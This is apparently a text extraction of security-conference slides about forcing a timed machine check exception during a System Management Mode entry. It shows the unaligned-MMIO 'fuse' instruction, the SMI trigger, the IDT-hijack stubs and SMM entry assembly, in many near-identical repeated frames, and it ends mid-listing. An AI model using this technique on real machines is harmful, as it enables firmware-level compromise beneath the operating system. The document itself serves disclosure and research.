The background of the slide is a dark gray with a subtle, light gray circuit board pattern. The pattern consists of various lines, dots, and geometric shapes that resemble electronic components and traces, creating a technical and futuristic aesthetic.

## • Bigger challenge

- Need instruction that generates master abort
- Master abort done through MMIO on PCI space
- Architecture requires “movl %[mem], %eax” instruction for MMIO
- ~6 cycles (hitting cache)
- ~250 cycles (hitting RAM)
- ~700 cycles (hitting PCI MMIO)

# building a fuse















- 
- MMIO reads are an order of magnitude away from the latency needed for the fuse instruction.
  - The attack won't work.

building a fuse



[demo]

building a fuse



- Not all MMIO reads are created equal
  - Normal devices on PCIe bus: ~700 cycles
  - Slowest devices on PCIe bus: ~4000 cycles
- Can we increase this?
  - Add competing MMIO traffic: +2000 cycles
  - Low power states and underclocking: +1400 cycles
  - Complex physical PCI topology: +1000 cycles
- Still not enough, and attack is increasingly impractical

building a fuse

## → “MMIO Configuration Coding Requirements”

“

Instructions used to read MMIO configuration space are required to take the following form:

```
mov eax/ax/al, any_address_mode;
```

No other source/target registers may be used other than eax/ax/al.

”

# building a fuse

movl [0xf8013c00], %eax

eax

a1	82	9f	1c	13	92	5e	e7	98	56	9f	af	b3	67	8b	f1
----	----	----	----	----	----	----	----	----	----	----	----	----	----	----	----

f8013bf0

f8013c00

f8013c04

f8013c08

access time: ~4000 cycles

building a fuse

movq [0xf8013c00], %rax

rax

a1	82	9f	1c	13	92	5e	e7	98	56	9f	af	b3	67	8b	f1
----	----	----	----	----	----	----	----	----	----	----	----	----	----	----	----

f8013bf0


f8013c00

f8013c04

f8013c08

access time: ~8000 cycles

building a fuse



## ← “MMIO Configuration Coding Requirements”

“

In addition, all such accesses are required not to cross any naturally aligned DW boundary.

Access to MMIO configuration space registers that do not meet these requirements result in **undefined behavior**.

”

# building a fuse

movq [0xf8013c00], %rax

rax

a1	82	9f	1c	13	92	5e	e7	98	56	9f	af	b3	67	8b	f1
----	----	----	----	----	----	----	----	----	----	----	----	----	----	----	----

f8013bf0

f8013c00

f8013c04

f8013c08

building a fuse

movq [0xf8013c01], %rax

rax

a1	82	9f	1c	13	92	5e	e7	98	56	9f	af	b3	67	8b	f1
----	----	----	----	----	----	----	----	----	----	----	----	----	----	----	----

f8013bf0

f8013c00

f8013c04


f8013c08

access time: ~12,000 cycles

building a fuse

- Find high access time on existing PCIe device...  
... followed by non-existing device
- Need non-existing device to generate master-abort and trigger MCE


```
movq [0xf8013ff9], %rax
```



building a fuse

- Find high access time on existing PCIe device...  
... followed by non-existing device
- Need non-existing device to generate master-abort and trigger MCE


```
movq [0xf8013ff9], %rax
```



building a fuse

- Find high access time on existing PCIe device...  
... followed by non-existing device
- Need non-existing device to generate master-abort and trigger MCE


```
movq [0xf8013ff9], %rax
```



building a fuse

- Find high access time on existing PCIe device...  
... followed by non-existing device
- Need non-existing device to generate master-abort and trigger MCE

movq [0xf8013ff9], %rax



building a fuse




## • The fuse instruction

- An unaligned 8-byte PCIe access
- Straddles slow PCIe device and non-existing device
- CPU performs 3 separate 4 byte MMIO access
- Final 4-byte MMIO access hits non-existing PCIe device
- No device claims PCI request, results in PCI master-abort
- PCI master-abort received by northbridge
- Northbridge sends error to CPU
- CPU generates machine check exception
- 10,000+ cycles after fuse instruction began

lighting the fuse

- 
- A decorative graphic on the left side of the slide, consisting of a series of thin, light-gray lines that form a circuit-like pattern. These lines branch out and connect to small, solid gray dots, resembling a stylized representation of a computer circuit or a neural network. The pattern is more dense on the left and tapers off towards the right.
- Little control over how long the fuse instruction takes
  - But MCE must arrive in precise window

lighting the fuse



Thread 1 (attacker)

Thread 0 (victim)

begin ??? instruction

10,000 cycles

100 cycles X



Thread 1 (attacker)


Thread 0 (victim)

begin ??? instruction


10,000 cycles

100 cycles ✕

100 cycles ✕



• What we have...






- This won't work


- If the MCE is received after SMM reloads the IDT, exception will be handled on SMM's interrupt handler, not attacker's


- Solution:

- Slide the SMI trigger to calibrate the MCE to fall within the attack window

# lighting the fuse









- A targeted disruptor tool

- Previous MCE tool could generate MCE from attacking thread, and deliver to victim thread, but without any control of timing
- Modify tool to light MCE fuse, and sliding delay on the victim thread
- Can deliver cross-core MCEs to victim threads during privilege transitions or secure modes, at *precise* target times

lighting the fuse



Let's build a hammer...

Let's add a handle...

Let's be a bit more careful...

Let's find a nail...

Let's light a fuse...

We have all the pieces.



Let's build a hammer...

Let's add a handle...

Let's be a bit more careful...

Let's find a nail...

Let's light a fuse...

We have all the pieces.

We need a name...



Let's build a hammer...

Let's add a handle...

Let's be a bit more careful...

Let's find a nail...

Let's light a fuse...



We have all the pieces.

We need a name...

mchammer

An abstract graphic of a circuit board pattern in a dark gray color, set against a black background. The pattern consists of thin, interconnected lines and small circular nodes, resembling a complex network or a stylized map. It is primarily located on the left side of the image, with some lines extending towards the center.

the exploit.



I/O  
Device

North  
Bridge

PCIe  
device

CPU


```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14
...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89
...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax
...
mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```




RAM

SMRAM


MMIO

RAM





```
push %%rax ←
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```



SMRAM

MMIO



RAM

RAM

OS IDT

..
ffffffffc0b2ed80
ffffffffc0b2edc0
ffffffffc0b2ee40
..

```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```



thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq [0xf8013ff9], %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)


movq [0xf8013ff9], %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)


```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```



thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```



```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```





```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```






thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```



```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```



```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```


```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)


```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```



thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)


movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)


```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```



thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)


movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)


```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```



thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```



```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```




```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```




```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```





SMI#




thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```



```
movq (0xf8013ff9), %rax
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

SMI#

SMI#

RAM



SMRAM

MMIO

RAM

OS IDT





```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```

Hijack IDT



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```


thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

SMI#


SMI#





```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```





thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```


```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax



...
mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14


...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...
mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]


...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```


```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax



...
mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```


```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax



...
mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SMI Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...



mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```


```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...
mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...
mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax



...
mov rcx, rbx
mov rax, SMI Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...


mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89

...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf
mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...


mov rcx, rbx
mov rax, SmiRendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```



```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```



UR


PCIe device

I/O Device

North Bridge

SMI#

SMI#



thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

(reconfigure northbridge)  
(install hijack IDT)

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFS]
mov ax, [rbx+DSC_DS]
mov ds, eax
mov ax, [rbx+DSC_OT]
mov es, eax

...


mov rcx, rbx
mov rax, SMI Rendezvous
call rax
add rsp, 0x20
fxrstor64 [rsp]
...
rsm
```





```
push %%rax
push %%rdi
push %%rsi
call os_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```





```
push %%rax
push %%rdi
push %%rsi
call smm_mce_handler
pop %%rsi
pop %%rdi
pop %%rax
iretq
```















thread 0 (victim)

```
movq $0x92, %%rcx
loop .
outb %%al, $0xb2
nop
```

thread 1 (attacker)

```
(reconfigure northbridge)
(install hijack IDT)
```

```
movq (0xf8013ff9), %rax
```

```
mov si,0x8148
o32 lgdt [cs:si]
mov eax,0x3
mov cr0,eax
jmp short 0x14

...

mov eax, 0x668
mov cl, 0
cmp cl, 0
je 3f
bts eax, 12
mov cr4, rax
sub esp, 8
sgdt [rsp]
mov eax, [rsp + 2]
add esp, 8
mov dl, 0x89


...

mov rbx, cr0
or ebx, 0x80010023
mov cr0, rbx
retf

mov rax, 0
lidt [rax]
lea ebx, [rdi+DSC_OFFSET]
